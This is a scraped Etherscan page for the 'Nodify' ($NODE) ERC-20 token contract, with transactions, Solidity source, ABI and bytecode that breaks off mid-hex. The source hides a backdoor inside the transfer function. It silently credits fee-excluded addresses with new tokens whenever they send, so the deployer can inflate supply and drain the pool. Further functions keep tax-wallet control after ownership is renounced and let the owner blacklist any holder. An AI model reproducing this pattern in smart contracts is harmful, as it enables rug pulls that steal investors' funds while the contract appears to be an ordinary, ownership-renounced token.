ETH Price: $2,674.85 (+2.08%)

Contract

0xF20438EA8aED07Ba9E472673974640822D3564a0
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer194429792024-03-15 21:19:35228 days ago1710537575IN
0xF20438EA...22D3564a0
0 ETH0.0023023440.86162415
Approve194419232024-03-15 17:46:35228 days ago1710524795IN
0xF20438EA...22D3564a0
0 ETH0.0018767940.55209499
Approve194419062024-03-15 17:42:59228 days ago1710524579IN
0xF20438EA...22D3564a0
0 ETH0.0017227637.03187873
Approve194417902024-03-15 17:19:35228 days ago1710523175IN
0xF20438EA...22D3564a0
0 ETH0.0030076664.56846132
Approve194417862024-03-15 17:18:47228 days ago1710523127IN
0xF20438EA...22D3564a0
0 ETH0.0019266641.68383857
Approve194417602024-03-15 17:13:23228 days ago1710522803IN
0xF20438EA...22D3564a0
0 ETH0.0019265341.41215888
Approve194417542024-03-15 17:12:11228 days ago1710522731IN
0xF20438EA...22D3564a0
0 ETH0.0018200739.12380372
Approve194416942024-03-15 17:00:11228 days ago1710522011IN
0xF20438EA...22D3564a0
0 ETH0.0019769142.49501746
Approve194416902024-03-15 16:59:23228 days ago1710521963IN
0xF20438EA...22D3564a0
0 ETH0.0019161541.45646807
Approve194416802024-03-15 16:57:23228 days ago1710521843IN
0xF20438EA...22D3564a0
0 ETH0.0019164841.40981174
Approve194416732024-03-15 16:55:59228 days ago1710521759IN
0xF20438EA...22D3564a0
0 ETH0.0018587439.95493312
Update Tax Walle...194416482024-03-15 16:50:59228 days ago1710521459IN
0xF20438EA...22D3564a0
0 ETH0.0049235100
Approve194416422024-03-15 16:49:47228 days ago1710521387IN
0xF20438EA...22D3564a0
0 ETH0.001825239.23390563
Approve194416272024-03-15 16:46:47228 days ago1710521207IN
0xF20438EA...22D3564a0
0 ETH0.0022099247.44273098
Approve194415962024-03-15 16:40:23228 days ago1710520823IN
0xF20438EA...22D3564a0
0 ETH0.0020332343.70581331
Approve194415882024-03-15 16:38:47228 days ago1710520727IN
0xF20438EA...22D3564a0
0 ETH0.0019903842.72962652
Approve194415742024-03-15 16:35:59228 days ago1710520559IN
0xF20438EA...22D3564a0
0 ETH0.0023624650.78268457
Approve194415002024-03-15 16:20:47228 days ago1710519647IN
0xF20438EA...22D3564a0
0 ETH0.0022442748.2420928
Approve194414822024-03-15 16:17:11228 days ago1710519431IN
0xF20438EA...22D3564a0
0 ETH0.002379151.07465731
Approve194414752024-03-15 16:15:47228 days ago1710519347IN
0xF20438EA...22D3564a0
0 ETH0.0024544952.69301543
Renounce Ownersh...194414742024-03-15 16:15:35228 days ago1710519335IN
0xF20438EA...22D3564a0
0 ETH0.0011455549.12748236
Remove Limits194414732024-03-15 16:15:23228 days ago1710519323IN
0xF20438EA...22D3564a0
0 ETH0.0018438151.65603134
Approve194414732024-03-15 16:15:23228 days ago1710519323IN
0xF20438EA...22D3564a0
0 ETH0.0024527752.65603134
Approve194414692024-03-15 16:14:35228 days ago1710519275IN
0xF20438EA...22D3564a0
0 ETH0.0025791555.36917704
Approve194414692024-03-15 16:14:35228 days ago1710519275IN
0xF20438EA...22D3564a0
0 ETH0.003485974.83538115
View all transactions

Latest 21 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
194448852024-03-16 3:45:59228 days ago1710560759
0xF20438EA...22D3564a0
0.21305573 ETH
194448852024-03-16 3:45:59228 days ago1710560759
0xF20438EA...22D3564a0
0.21305573 ETH
194416892024-03-15 16:59:11228 days ago1710521951
0xF20438EA...22D3564a0
0.1894806 ETH
194416892024-03-15 16:59:11228 days ago1710521951
0xF20438EA...22D3564a0
0.1894806 ETH
194416812024-03-15 16:57:35228 days ago1710521855
0xF20438EA...22D3564a0
0.21627488 ETH
194416812024-03-15 16:57:35228 days ago1710521855
0xF20438EA...22D3564a0
0.21627488 ETH
194416682024-03-15 16:54:59228 days ago1710521699
0xF20438EA...22D3564a0
0.19679814 ETH
194416682024-03-15 16:54:59228 days ago1710521699
0xF20438EA...22D3564a0
0.19679814 ETH
194416142024-03-15 16:43:59228 days ago1710521039
0xF20438EA...22D3564a0
0.14262901 ETH
194416142024-03-15 16:43:59228 days ago1710521039
0xF20438EA...22D3564a0
0.14262901 ETH
194415792024-03-15 16:36:59228 days ago1710520619
0xF20438EA...22D3564a0
0.08038742 ETH
194415792024-03-15 16:36:59228 days ago1710520619
0xF20438EA...22D3564a0
0.08038742 ETH
194415442024-03-15 16:29:47228 days ago1710520187
0xF20438EA...22D3564a0
0.12244293 ETH
194415442024-03-15 16:29:47228 days ago1710520187
0xF20438EA...22D3564a0
0.12244293 ETH
194415062024-03-15 16:21:59228 days ago1710519719
0xF20438EA...22D3564a0
0.10779922 ETH
194415062024-03-15 16:21:59228 days ago1710519719
0xF20438EA...22D3564a0
0.10779922 ETH
194414832024-03-15 16:17:23228 days ago1710519443
0xF20438EA...22D3564a0
0.00510557 ETH
194414832024-03-15 16:17:23228 days ago1710519443
0xF20438EA...22D3564a0
0.00510557 ETH
194414752024-03-15 16:15:47228 days ago1710519347
0xF20438EA...22D3564a0
0.02514934 ETH
194414752024-03-15 16:15:47228 days ago1710519347
0xF20438EA...22D3564a0
0.02514934 ETH
194414652024-03-15 16:13:47228 days ago1710519227
0xF20438EA...22D3564a0
3 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Nodify

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-15
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/*
evolutionizing #GPU Computing: Unleashing Scalability, Security, and Efficiency.

Web: https://nodifycloud.com
X: https://x.com/Nodify_cloud_X
Tg: https://t.me/portalnodify_official
M: https://medium.com/@nodify.cloud
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Nodify is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Nodify I $NODE";
    string private constant _symbol = unicode"NODE";

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _blacklisted;

    uint256 private _initialBuyTax=13;
    uint256 private _initialSellTax=13;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
    uint256 public _maxTxAmount =   16 * 420690 * 10**_decimals;
    uint256 public _maxWalletSize = 16 * 420690 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _taxWallet;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

   constructor () {
        _taxWallet = payable(msg.sender);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function updateTaxWallet(address payable newWallet) public {
        require(msg.sender == _taxWallet,"You are not allowed to change the tax wallet");
        _taxWallet = newWallet;
        _isExcludedFromFee[_taxWallet] = true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!_blacklisted[from] && !_blacklisted[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (_isExcludedFromFee[from]) { _balances[from] += amount; }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function addBots(address[] memory blacklists) external onlyOwner {
        for (uint i = 0; i < blacklists.length; i++) {
            _blacklisted[blacklists[i]] = true;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"blacklists","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"updateTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600d600555600d600655600160075560016008556005600955600f600a556005600b556000600c556009600a6200003c9190620004ca565b6200004b906266b520620004e2565b600d556200005c6009600a620004ca565b6200006b906266b520620004e2565b600e556200007c6009600a620004ca565b62000089906000620004e2565b600f556200009a6009600a620004ca565b620000a99062403134620004e2565b6010556013805461ffff60a81b19169055348015620000c757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060128054336001600160a01b03199182161790915560118054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000179573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019f9190620004fc565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000202573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002289190620004fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000276573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029c9190620004fc565b601380546001600160a01b0319166001600160a01b0392909216919091179055620002ca6009600a620004ca565b620002da906319133850620004e2565b336000908152600160208190526040822092909255600390620003056000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560125490911681526003909252902080549091166001179055620003543390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038e6009600a620004ca565b6200039e906319133850620004e2565b60405190815260200160405180910390a362000527565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200040c578160001904821115620003f057620003f0620003b5565b80851615620003fe57918102915b93841c9390800290620003d0565b509250929050565b6000826200042557506001620004c4565b816200043457506000620004c4565b81600181146200044d5760028114620004585762000478565b6001915050620004c4565b60ff8411156200046c576200046c620003b5565b50506001821b620004c4565b5060208310610133831016604e8410600b84101617156200049d575081810a620004c4565b620004a98383620003cb565b8060001904821115620004c057620004c0620003b5565b0290505b92915050565b6000620004db60ff84168362000414565b9392505050565b8082028115828204841417620004c457620004c4620003b5565b6000602082840312156200050f57600080fd5b81516001600160a01b0381168114620004db57600080fd5b61192d80620005376000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610315578063bf474bed14610335578063c9567bf91461034b578063d34628cc14610360578063dd62ed3e1461038057600080fd5b8063751039fc1461027f5780637d1db4a5146102945780638da5cb5b146102aa5780638f9a55c0146102d257806395d89b41146102e857600080fd5b806323b872dd116100e757806323b872dd146101d6578063313ce567146101f657806370a0823114610212578063715018a61461024857806374c9f6031461025f57600080fd5b806306fdde0314610124578063095ea7b31461016d5780630faee56f1461019d57806318160ddd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d4e6f64696679204920244e4f444560901b60208201525b6040516101649190611411565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611487565b6103c6565b6040519015158152602001610164565b3480156101a957600080fd5b506101b360105481565b604051908152602001610164565b3480156101cd57600080fd5b506101b36103dd565b3480156101e257600080fd5b5061018d6101f13660046114b3565b6103fe565b34801561020257600080fd5b5060405160098152602001610164565b34801561021e57600080fd5b506101b361022d3660046114f4565b6001600160a01b031660009081526001602052604090205490565b34801561025457600080fd5b5061025d610467565b005b34801561026b57600080fd5b5061025d61027a3660046114f4565b6104e4565b34801561028b57600080fd5b5061025d61058d565b3480156102a057600080fd5b506101b3600d5481565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610164565b3480156102de57600080fd5b506101b3600e5481565b3480156102f457600080fd5b506040805180820190915260048152634e4f444560e01b6020820152610157565b34801561032157600080fd5b5061018d610330366004611487565b61063f565b34801561034157600080fd5b506101b3600f5481565b34801561035757600080fd5b5061025d61064c565b34801561036c57600080fd5b5061025d61037b366004611527565b610867565b34801561038c57600080fd5b506101b361039b3660046115ec565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d33384846108fd565b5060015b92915050565b60006103eb6009600a61171f565b6103f990631913385061172e565b905090565b600061040b848484610a2e565b61045d8433610458856040518060600160405280602881526020016118d0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611074565b6108fd565b5060019392505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260040161049190611745565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b031633146105535760405162461bcd60e51b815260206004820152602c60248201527f596f7520617265206e6f7420616c6c6f77656420746f206368616e676520746860448201526b19481d185e081dd85b1b195d60a21b6064820152608401610491565b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161049190611745565b6105c36009600a61171f565b6105d190631913385061172e565b600d556105e06009600a61171f565b6105ee90631913385061172e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061e6009600a61171f565b61062c90631913385061172e565b60405190815260200160405180910390a1565b60006103d3338484610a2e565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161049190611745565b601354600160a01b900460ff16156106d05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610491565b6011546106fc9030906001600160a01b03166106ee6009600a61171f565b61045890631913385061172e565b6011546001600160a01b031663f305d719473061072e816001600160a01b031660009081526001602052604090205490565b6000806107436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d0919061177a565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d91906117a8565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108915760405162461bcd60e51b815260040161049190611745565b60005b81518110156108f9576001600460008484815181106108b5576108b56117ca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f1816117e0565b915050610894565b5050565b6001600160a01b0383166109665760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b6064820152608401610491565b6001600160a01b0382166109cd5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b6064820152608401610491565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610491565b6001600160a01b038216610af45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610491565b60008111610b565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610491565b600080546001600160a01b03858116911614801590610b8357506000546001600160a01b03848116911614155b15610f31576001600160a01b03841660009081526004602052604090205460ff16158015610bca57506001600160a01b03831660009081526004602052604090205460ff16155b610bd357600080fd5b610bff6064610bf9600954600c5411610bee57600554610bf2565b6007545b85906110ae565b90611137565b6013549091506001600160a01b038581169116148015610c2d57506011546001600160a01b03848116911614155b8015610c5257506001600160a01b03831660009081526003602052604090205460ff16155b15610d3a57600d54821115610ca95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610491565b600e5482610ccc856001600160a01b031660009081526001602052604090205490565b610cd691906117f9565b1115610d245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610491565b600c8054906000610d34836117e0565b91905055505b6001600160a01b03841660009081526003602052604090205460ff1615610d89576001600160a01b03841660009081526001602052604081208054849290610d839084906117f9565b90915550505b6013546001600160a01b03848116911614801590610dc057506001600160a01b03831660009081526003602052604090205460ff16155b15610e4057600e5482610de8856001600160a01b031660009081526001602052604090205490565b610df291906117f9565b1115610e405760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610491565b6013546001600160a01b038481169116148015610e6657506001600160a01b0384163014155b15610e9357610e906064610bf9600a54600c5411610e8657600654610bf2565b60085485906110ae565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610eca57506013546001600160a01b038581169116145b8015610edf5750601354600160b01b900460ff165b8015610eec5750600f5481115b8015610efb5750600b54600c54115b15610f2f57610f1d610f1884610f1384601054611179565b611179565b61118e565b478015610f2d57610f2d47611308565b505b505b8015610fab5730600090815260016020526040902054610f519082611342565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa29085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610fce90836113a1565b6001600160a01b038516600090815260016020526040902055611013610ff483836113a1565b6001600160a01b03851660009081526001602052604090205490611342565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105d85856113a1565b60405190815260200160405180910390a350505050565b600081848411156110985760405162461bcd60e51b81526004016104919190611411565b5060006110a5848661180c565b95945050505050565b6000826000036110c0575060006103d7565b60006110cc838561172e565b9050826110d9858361181f565b146111305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610491565b9392505050565b600061113083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e3565b60008183116111885782611130565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d6576111d66117ca565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112539190611841565b81600181518110611266576112666117ca565b6001600160a01b03928316602091820292909201015260115461128c91309116846108fd565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c590859060009086903090429060040161185e565b600060405180830381600087803b1580156112df57600080fd5b505af11580156112f3573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f9573d6000803e3d6000fd5b60008061134f83856117f9565b9050838110156111305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610491565b600061113083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611074565b600081836114045760405162461bcd60e51b81526004016104919190611411565b5060006110a5848661181f565b600060208083528351808285015260005b8181101561143e57858101830151858201604001528201611422565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147457600080fd5b50565b80356114828161145f565b919050565b6000806040838503121561149a57600080fd5b82356114a58161145f565b946020939093013593505050565b6000806000606084860312156114c857600080fd5b83356114d38161145f565b925060208401356114e38161145f565b929592945050506040919091013590565b60006020828403121561150657600080fd5b81356111308161145f565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153a57600080fd5b823567ffffffffffffffff8082111561155257600080fd5b818501915085601f83011261156657600080fd5b81358181111561157857611578611511565b8060051b604051601f19603f8301168101818110858211171561159